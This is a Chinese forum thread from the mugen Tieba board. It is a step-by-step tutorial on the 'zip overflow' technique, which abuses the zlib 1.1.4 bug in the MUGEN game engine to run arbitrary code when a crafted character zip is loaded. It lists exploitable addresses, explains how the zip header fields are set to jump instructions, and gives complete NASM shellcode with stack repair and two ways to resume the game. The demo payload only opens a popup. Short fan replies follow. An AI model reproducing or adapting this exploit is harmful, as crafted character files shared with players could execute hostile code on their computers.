mugen吧 关注:78,666贴子:1,493,409
  • 15回复贴,共1

Zip溢出的原理及教程

只看楼主收藏回复

zip溢出是一种完全不依靠mugen的内带控制器与状态的攻击方式,比如Statedef攻击需要使用[Statedef ]状态号,
cmd攻击需要command条件,flag攻击需要AssertSpecial控制器,%n %f 需要剪切板控制器,残影攻击需要使用残影控制器等等.
问题主要在zlib的1.1.4版本上,所以理论上同AEG利用,是全版本泛用,但根据我的实际测试,1.1版本不支持使用1.1.4版本的zlib,
所以之前所说的全版本泛用模板目前判断是经过处理的(比如改源)
zip溢出利用mugen处理超过一定大小的zip文件后,典型的例子是超过3F7E~3F9A大小的文件,那时0040D8F9处的函数会对堆栈异常写值,
导致返回错误,从而执行自己的代码
目前此技术的主要研究者是ydccdy和五月雨,目前使用zip溢出的人物很少,遥远的几乎不公开,五月雨的从外网拿了一个,
外网上的全都以测试为理由不公开.目前公开的就是LetterS,莉尔露(zip溢出已经废弃),AR的zip测试蛟
我研究并打算公开讲解这个技术,是因为它的神秘性,
我不希望mugen有遥远说的:恨人有、笑人无的心态,自己认真学就好,技多不压身,多学一门技术没有坏处。
当然,本教程并不完备,因为借用了前人宝贵的经验,所以我只是将其总结.技术的开创者不是我,
而且部分esp修复代码我也是借鉴的,然后加以修改,成为模板.
zip溢出是加载人物时执行的,自然就是在select.def中,
比如:
[characters]
LTS.zip
首先是返回值问题,由homehome(七夜式作者知)
485849 文件最后修改时间和文件最后修改日期:将保存一个跳转指令jmp esp的地址,此处可做返回值

48591A 写入CRC32:将保存一个可以用于跳转到esp-20位置的指令


IP属地:湖北1楼2023-04-04 15:58回复
    48599E 写入压缩后大小,此处可做返回值
    485A22 写入压缩前大小,此处可做返回值
    返回值有什么用?ret返回的位置,就以返回值决定,向esp的位置写值就可以控制它并返回到我们自己的位置
    ret位置1,遥远
    mugen.exe+866D9 - 8B 44 24 10 - mov eax,[esp+10]
    mugen.exe+866DD - 5F - pop edi
    mugen.exe+866DE - 5E - pop esi
    mugen.exe+866DF - 5D - pop ebp
    mugen.exe+866E0 - 5B - pop ebx
    mugen.exe+866E1 - 83 C4 08 - add esp,08
    mugen.exe+866E4 - C3 - ret
    ret后直接到sub esp,20处
    然后ret

    修改时间的位置就是jmp esp的位置
    485849 错误写入了这个位置到esp的位置里,而后ret时就会跳转到错误的位置
    ret位置2-五月雨:
    mugen.exe+866E5 - 5F - pop edi
    mugen.exe+866E6 - 5E - pop esi
    mugen.exe+866E7 - 5D - pop ebp
    mugen.exe+866E8 - 83 C8 FF - or eax,-01
    mugen.exe+866EB - 5B - pop ebx
    mugen.exe+866EC - 83 C4 08 - add esp,08
    mugen.exe+866EF - C3 - ret

    此时esp+14就是jmp esp的位置


    IP属地:湖北2楼2023-04-04 16:00
    回复
      接下来解决两个问题:
      两种方法使得zip溢出返回
      编写zip溢出的zip文件
      第一个问题,正常返回问题
      既然是bug错误导致的问题,那么首先以五月雨模板的第二个ret为例
      方法自然是修复esp环境
      用OD设置断点在004866E5
      按f7步入,直到 add esp,08前面一句

      观察上图的esp环境,分别是
      +0 418B2F +40910A530 +8 09A23020 +C 00422438(返回值)
      我们来看返回值指向的位置
      jmp [esp-20]
      esp-20处的位置是09A23020
      那么我们需要保存-24位置的00422438,-20位置的09A23020 -1C的0910A530 -18的418B2F
      mov edx,[esp-24]
      mov [mugen.exe+BF900],edx
      mov edx,[esp-20]
      mov [mugen.exe+BF904],edx
      mov edx,[esp-1C]
      mov [mugen.exe+BF908],edx
      mov edx,[esp-18]
      mov [mugen.exe+BF90C],edx
      然后为了保存我们自己的变量,所以再将所有寄存器压栈
      pushad
      pushfd
      先进后出,出栈代码为:
      popfd
      popad
      然后将我们保存的栈中的值拿回来
      mov edx,[mugen.exe+BF900]
      mov [esp-24],edx
      mov edx,[mugen.exe+BF904]
      mov [esp-20],edx
      mov edx,[mugen.exe+BF908]
      mov [esp-1C],edx
      mov edx,[mugen.exe+BF90C]
      mov [esp-18],edx
      esp修复部分:
      sub esp,24
      mov ebp,[esp+0000008C]
      mov esi,[esp+64]
      jmp ebx
      这里顺其自然的修复了所有溢出导致的错误,所以可以稳定返回主程序
      LetterS使用的就是这种
      第二种方法:跳过这个zip溢出文件
      血神卢模板和莉尔露用的方法,前者修改select达成了这个操作,
      后者利用重启mugen然后修改select.def文件实现
      莉尔露的方法不实用,我们看遥远大佬的方法,参考遥远的模板:
      mov eax,[0x4B54D0]
      mov edx,[eax+0x14]
      dec edx
      mov esi,[eax+0x20]
      mov eax,[esi+edx*4]
      mov dword [eax],'xxxx'
      mov dword [eax+0x4],'xxx'
      mov edi,eax
      mov edx,0x0040D1B0
      add esp,0x74
      jmp edx
      在人物加载前,0x4B54D0的地方储存了一个指针,其+14的位置-1就是当前zip溢出文件的id,其-20的位置储存一个指针,
      指向select.def中当前加载人物在select的名字在内存中的位置
      那么我们修改它,改成已经准备好的自己的人物包的名字,然后保存在edi中重新加载,就绕过了这个zip溢出文件
      0040D1B0处是正常加载人物的处理位置
      将esp增加到zip溢出的def后面

      这样就巧妙地实现了返回主程序的方法
      所以,再加上写自己代码的地方:
      pushad
      pushfd
      push 01
      push 00
      push 00
      push 00
      mov eax,dword [0x0049F140]
      call eax
      这里实现了一个弹窗功能
      出栈,然后按照上述方法返回
      popfd
      popad
      mov eax,[0x4B54D0]
      mov edx,[eax+0x14]
      dec edx
      mov esi,[eax+0x20]
      mov eax,[esi+edx*4]
      mov dword [eax],'xxxx'
      mov dword [eax+0x4],'xxx'
      mov edi,eax
      mov edx,0x0040D1B0
      add esp,0x74
      jmp edx
      大功告成


      IP属地:湖北3楼2023-04-04 16:01
      回复
        然后就是一个大问题:如何编写zip溢出的文件
        首先需要了解zip文件的结构
        https://blog.csdn.net/hp910315/article/details/77717746
        可以有两种方法:
        1由修改时间作返回值
        2.由文件压缩前后大小作返回值
        校验的位置必须是跳转指令

        校验的位置就是图中画圈的地方
        修改时间返回值为如下(10078D87,内存反着读)


        而校验的值是83EC20C3,对应汇编代码 sub esp,20 和ret
        (遥远模板)
        将思路整理以下,那么zip文件的前面的字节如下图所示:

        其中+10字节位置的修改日期的位置就是返回值,固定的,+14字节的CRC校验码的位置就是sub esp,20 ret汇编代码对应的字节,
        由于文件大小的位置不作返回值,所以都直接是AA3F


        IP属地:湖北4楼2023-04-04 16:04
        回复
          或者说用五月雨模板的压缩前后大小作返回值:

          有两个地方,全部修改为422438
          而校验码是FF6424E0,对应汇编代码jmp dword ptr [esp-20]
          思路总结以下,zip文件前面的字节如下图所示:

          因为没有用到修改时间,所以+10的地方是4个00,CRC校验码的位置是 jmp dword ptr [esp-20] 汇编代码对应的字节码
          而文件压缩前后大小作返回值,一个占四字节,所以都是00422438
          当然,这个返回值应该不止一个,我懒的找了,就用这个也没什么问题


          IP属地:湖北5楼2023-04-04 16:05
          回复
            接下来就是填充溢出所需字段,这个过程重复而复杂,但字段不限,但是要注意
            的是,填充部分必须包含Name="" Sprite= 不然mugen会报错


            IP属地:湖北6楼2023-04-04 16:06
            回复
              填充示例见上一楼
              这个部分推荐使用模板,血神卢模板和我自己的模板,我上传到了百度网盘,在千寻里找我的人物(L智子,莉尔露,玩味的廻),随便点一个下载链接输入提取码后就可以看见了,
              分别为血神卢模板,血神卢模板替换自身,LTS


              IP属地:湖北8楼2023-04-04 16:07
              回复
                例子:启动游戏弹窗(完整示例,2个方法)
                我的模板(五月雨方法):
                在nasm里写出汇编代码:
                [bits 32]
                mov edx,[esp-0x24]
                mov dword [0x004BF900],edx
                mov edx,[esp-0x20]
                mov dword [0x004BF904],edx
                mov edx,[esp-0x1C]
                mov dword [0x004BF908],edx
                mov edx,[esp-0x18]
                mov dword [0x004BF90C],edx
                pushad
                pushfd
                push 01
                push 00
                push 00
                push 00
                mov eax,dword [0x0049F140] ;;这个是MessageBoxA在mugen里的内存位置
                call eax
                popfd
                popad
                mov edx,[0x004BF900]
                mov dword [esp-0x24],edx
                mov edx,[0x004BF904]
                mov dword [esp-0x20],edx
                mov edx,[0x004BF908]
                mov dword [esp-0x1C],edx
                mov edx,[0x004BF90C]
                mov dword [esp-0x18],edx
                sub esp,0x24
                mov ebp,[esp+0x8C]
                mov esi,[esp+0x64]
                jmp ebx
                我们编译它,得到汇编代码
                我们在c32里复制它,然后粘贴到zip文件中,如下图所示

                然后运行mugen

                成功显示了一个提示框,点击确定或取消,我们就成功地返回了主程序


                IP属地:湖北9楼2023-04-04 16:09
                回复
                  使用方法2(血神卢模板)的也可以,写下汇编代码:
                  [bits 32]
                  pushad
                  pushfd
                  push 01
                  push 00
                  push 00
                  push 00
                  mov eax,dword [0x0049F140]
                  call eax
                  popfd
                  popad
                  mov eax,[0x4B54D0]
                  mov edx,[eax+0x14]
                  dec edx
                  mov esi,[eax+0x20]
                  mov eax,[esi+edx*4]
                  mov dword [eax],'Scar';;替换的人物名(文件夹名)
                  mov dword [eax+0x4],'let'
                  mov edi,eax
                  mov edx,0x0040D1B0
                  add esp,0x74
                  jmp edx
                  编译并复制到c32里,运行mugen,和上一种方法的结果一样,就是弹出提示框,点确定或取消后顺利返回主程序


                  IP属地:湖北10楼2023-04-04 16:09
                  回复


                    IP属地:江苏来自Android客户端11楼2023-04-04 18:46
                    回复
                      首页通知书


                      IP属地:四川来自Android客户端12楼2023-04-04 23:33
                      回复
                        支持大佬,能研究zip溢出的确实是厉害


                        IP属地:四川来自Android客户端13楼2023-04-04 23:51
                        收起回复
                          求一份遥远的zip溢出模板


                          IP属地:广东15楼2023-06-28 07:45
                          回复


                            IP属地:云南来自Android客户端16楼2023-07-08 08:37
                            回复
                              请问大佬,你懂mugen吗?


                              IP属地:河南来自Android客户端17楼2023-07-09 20:01
                              回复